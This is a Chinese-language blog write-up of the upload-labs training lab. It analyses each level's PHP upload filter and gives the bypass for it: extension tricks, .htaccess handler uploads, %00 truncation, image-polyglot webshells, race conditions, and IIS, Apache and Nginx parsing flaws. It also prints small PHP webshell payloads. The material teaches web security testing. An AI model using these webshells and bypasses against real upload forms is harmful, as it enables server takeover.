Upload-labs&Upload Bypass Summarize
- 2019 年 10 月 8 日
- 筆記
前言
暑假閑著也是閑著,去年這個時候刷完了 sqli-labs
,今年想著來刷一下 upload-labs
而這次重點不在於題解,而在於總結與歸納 首先我們得明確一點,即上傳的過程

而 burp
的位置在

前端校驗
對於前端的校驗,上述流程圖已經很清晰了,抓包即可破解,所以說前端的校驗只能用於提示用戶,想要保住安全性是自欺欺人的一種方式 例如 upload-labs
的 pass-01
Pass-01
第一關沒有什麼好說的,只是一個javascript的檢測 而js的檢測只能位於client,所以這裡利用burp抓包改包就可以繞過,不需要分析了 甚至可以

改掉這裡的 checkFile()
即可
後端程式碼校驗
在對上傳的文件進行分析的時候,後端的php程式碼的不嚴謹,過濾不嚴格將會引起各種突破方式 下面以upload-labs的題進行分析
Pass-02:content-type問題 Pass-03:黑名單繞過(pht,phtml,phps.....) Pass-04:.htaccess上傳 Pass-05:後綴大小寫問題 Pass-06:空格未過濾問題 Pass-07:dot處理不嚴謹 Pass-08:::$DATA Pass-09:Pass-06與Pass-07的組合使用 Pass-10:雙寫後綴繞過問題 Pass-11:%00截斷問題(get) Pass-12:0x00截斷問題(post)
這裡我選擇從源碼分析,而非黑盒測試 因為一些上傳的 trick
想必大家都見過,但是為什麼這樣可以繞過,這就需要從源碼分析 知其然,知其所以然。
Pass-02
我們分析關鍵的程式碼
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . $_FILES['upload_file']['name']; $is_upload = true; }
可以看到,這裡只校驗了 http header
里的 content-type
,同樣抓包修改即可 bypass
Pass-03
還是關鍵程式碼
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//刪除文件名末尾的點 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //轉換為小寫 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name']; $is_upload = true; }
不難看到這裡使用的是黑名單模式 而過濾非常的少
$deny_ext = array('.asp','.aspx','.php','.jsp');
所以我們利用的方法有多種,但是有先決條件
solution1
首先如果 apache httpd.conf
中有如下一句
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
等等 那麼我們可以更改後綴名繞過
solution2
如果發現並不能解析
phtml .phps .php5 .pht......
那麼我們還能嘗試使用 .htaccess
這裡需要
1.mod_rewrite模組開啟 2.AllowOverride All
方法: 在apache下http.conf改配置:
AllowOverride All LoadModule rewrite_module modules/mod_rewrite.so
然後上傳的 .htaccess
方式也是多樣的 1.上傳內容為
<FilesMatch "sky233"> SetHandler application/x-httpd-php </FilesMatch>
此時即可上傳 sky233
內容可被解析為 .php
2.上傳內容為
AddType application/x-httpd-php .jpg
此時即可上傳 sky233.jpg
內容可被解析為 .php
Pass-04
關鍵過濾
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
可以看到依舊沒有
.htaccess
所以利用上述該類方法,可以有效繞過
Pass-05
將程式碼與第4題相比對

明顯發現多了一個
.htaccess
並且沒有將文件後綴轉小寫的程式碼了 於是這裡顯然可以用大小寫繞過,例如 Php

Pass-06
繼續與第五題比對

發現第六題刪去了將文件名前後去空格的操作 所以可以利用
123.php(空格)
去繞過
Pass-07
繼續和第六題比對(左6右7)

發現沒有去處文件末尾的點的操作了 於是利用
sky.php.
可以繞過

Pass-08
左8右7 發現這裡刪掉了 ::$DATA
的限制

漏洞參考
https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream
所以使用
sky.php::$DATA
即可
Pass-09
關鍵程式碼如下:
if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//刪除文件名末尾的點 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //轉換為小寫 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . '/' . $file_name; $is_upload = true; }
雖然有去末位點和去首位空格的操作 但是並不是循環處理的 所以可以這樣構造
sky.php. .
這樣經過一輪處理後,變為
sky.php.
剩下的道理如同Pass-07一樣 可以輕鬆繞過
Pass-10
關鍵程式碼如下
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) { $img_path = UPLOAD_PATH . '/' .$file_name; $is_upload = true; }
我們發現關鍵點位於
$file_name = str_ireplace($deny_ext,"", $file_name);
程式碼並未循環過濾,於是存在
sky.pphphp
這樣的繞過

Pass-11
程式碼關鍵點在於
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true;
我們容易發現關鍵點
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true;
這裡的路徑我們可控
$_GET['save_path']
於是不難想到利用
../upload/sky.php
這樣的payload 但是後面會自動拼接後綴 於是想到常見的%00截斷即可 payload
../upload/sky.php%00
Pass-12

只是單純的改成了post形式 不再做多餘的分析
圖片渲染解析問題
確保用戶上傳的是真實圖片而非惡意文件,圖片的解析也是一個重要的問題 但這裡一般需要打組合拳 即利用文件包含/php偽協議+圖片上傳 而這裡只要求我們上傳帶有小馬的圖片即可
Pass-13:unpack() Pass-14:getimagesize() Pass-15:exif_imagetype() Pass-16:imagecreatefromjpeg()
以上函數基本上用圖片隱寫就可以bypass 即
copy normal.jpg /b + shell.php /a webshell.jpg
或是jpg圖片FFD9後加小馬
Pass-13

這裡的任務是要求傳一個帶有小馬的圖片

這裡簡單的添加到jpg圖片末位FFD9後就行了 但這裡的利用一般要配合文件包含,但是題目的要求到這裡就結束了
Pass-14
利用
$info = getimagesize($filename); $ext = image_type_to_extension($info[2]);
獲取影像類型,繞過方法同Pass-13
Pass-15
function isImage($filename){ //需要開啟php_exif模組 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } }
這裡用了 exif_imagetype()
去判斷文件類型 同樣用Pass-13的方法可以繞過
Pass-16
$im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "該文件不是jpg格式的圖片!";}
這裡使用了 imagecreatefromjpeg()
來判斷文件類別 同樣可用Pass-13的方法繞過
條件競爭問題
有時候你上傳的文件,服務端會將其刪除或是重命名 這裡就需要用到條件競爭的方式 方式也很簡單 即用Burp不斷上傳,再用burp不斷訪問 一般常見的上傳內容為
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
這樣在你訪問到的同時,就會在當前目錄寫下一個shell,下次就不用競爭利用了 這裡有一道很經典的題目(N1CTF-hard php)
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
利用phpinfo中上傳的tmp文件,條件競爭,進行文件包含,getshell 以及PHP_SESSION_UPLOAD_PROGRESS的條件競爭,包含getshell的問題
http://skysec.top/2018/03/12/N1CTF-2018-Web/#easy-php
這裡額外提一句:對於條件競爭,有時候存在非預期 例如:
-a
同樣出自N1CTF(hard-php)
https://xz.aliyun.com/t/2148
這樣的文件一般情況無法刪除的問題 還有比較常用的可讓unlink不運行
/.
繞過的問題
PHP底層問題
Pass-19
關鍵程式碼如下
if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { $is_upload = true; } }
這裡可以直接使用
sky.php/.
去繞過

訪問

具體原因來自於
move_uploaded_file()
該函數會遞歸刪除文件名最後的 /.
詳細分析可看
http://wonderkun.cc/index.html/?p=626 http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
類似的函數,上述師傅的blog已經有提及,我就不再贅述,畢竟他們都是跟過底層的大佬XD
畸形解析
上述方法都不行?試試畸形解析吧!
IIS 6.0
IIS 6.0解析利用方法有三種: 1.目錄解析 建立 xx.asp
為名稱的文件夾,將asp文件放入,訪問 /xx.asp/xx.jpg
,其中 xx.jpg
可以為任意文件後綴,即可解析 2.文件解析 後綴解析: /xx.asp;.jpg /xx.asp:.jpg
(此處需抓包修改文件名) 3.默認解析 IIS6.0 默認的可執行文件除了asp還包含這三種
/wooyun.asa /wooyun.cer /wooyun.cdx
IIS 7.0/7.5
在正常圖片URL後添加 /.php 小馬如下
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
Apache
後綴解析: test.php.x1.x2.x3
Apache將從右至左開始判斷後綴,若x3非可識別後綴,再判斷x2,直到找到可識別後綴為止,然後將該可識別後綴進解析 test.php.x1.x2.x3
則會被解析為php
Nginx<8.03
法1:同 IIS7.0/7.5
法2: xxx.jpg%00.php
後記
上傳的可能存在的問題有很多,由於入行未深,淺嘗輒止,若各位大佬有更好的奇淫技巧,敬請補充!
參考鏈接
http://www.sostan.com/hk/webhackiis7/ http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/ https://xz.aliyun.com/t/2148 https://github.com/LandGrey/upload-labs-writeup https://blog.csdn.net/u010726042/article/details/78037696 http://wonderkun.cc/index.html/?p=626 http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html